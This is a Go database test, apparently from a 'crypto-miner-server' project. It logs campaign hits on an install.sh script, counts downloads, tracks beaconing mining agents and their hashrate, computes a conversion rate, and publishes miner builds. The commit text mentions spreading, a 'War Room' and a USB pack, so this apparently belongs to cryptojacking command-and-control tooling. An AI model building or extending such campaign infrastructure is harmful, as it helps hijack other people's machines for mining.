Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
88 lines
2.3 KiB
Go
88 lines
2.3 KiB
Go
package db
|
|
|
|
import (
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
|
d := openTestDB(t)
|
|
|
|
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventDownload, "get", "10.0.0.2", "curl"); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
hits, err := d.ListCampaignHits(10)
|
|
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" || hits[0].Count != 2 {
|
|
t.Fatalf("hits=%v err=%v", hits, err)
|
|
}
|
|
|
|
war, err := d.ListWarRoom(7)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(war.Campaigns) != 1 {
|
|
t.Fatalf("war room campaigns=%v", war.Campaigns)
|
|
}
|
|
c := war.Campaigns[0]
|
|
if c.Hits != 1 || c.Downloads != 1 {
|
|
t.Fatalf("funnel hits=%d downloads=%d", c.Hits, c.Downloads)
|
|
}
|
|
|
|
a := &models.Agent{
|
|
ID: "ag-1", Name: "w1", Wallet: "w", IP: "10.0.0.3", Version: "1",
|
|
Status: "online", CPUCores: 4, MemoryGB: 8, LastSeen: time.Now(),
|
|
Campaign: "wave-a", Hashrate15m: 1200,
|
|
}
|
|
if err := d.UpsertAgent(a); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
_ = d.UpdateAgentStats("ag-1", 0, 0, 1200, 0, 0, 0, 0, 0, 0)
|
|
|
|
war, err = d.ListWarRoom(7)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
c = war.Campaigns[0]
|
|
if c.Agents != 1 || c.FirstBeacon != 1 || c.Mining != 1 || c.Online != 1 || c.Hashrate != 1200 {
|
|
t.Fatalf("agents=%d beacon=%d mining=%d online=%d hashrate=%v",
|
|
c.Agents, c.FirstBeacon, c.Mining, c.Online, c.Hashrate)
|
|
}
|
|
if c.ConversionPct != 100 {
|
|
t.Fatalf("conversion=%v want 100", c.ConversionPct)
|
|
}
|
|
|
|
b1 := &models.BuildRecord{
|
|
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
|
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
|
}
|
|
b2 := &models.BuildRecord{
|
|
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
|
|
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
|
|
}
|
|
_ = d.InsertBuild(b1)
|
|
_ = d.InsertBuild(b2)
|
|
_ = d.SetBuildPublic("b1", true)
|
|
|
|
pub, err := d.ListPublicBuilds(false, 1)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
ids := map[string]bool{}
|
|
for _, b := range pub {
|
|
ids[b.ID] = true
|
|
}
|
|
if !ids["b1"] || !ids["b2"] {
|
|
t.Fatalf("expected public b1 and latest b2, got %v", ids)
|
|
}
|
|
|
|
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
|
|
if err != nil || !ok {
|
|
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
|
|
}
|
|
}
|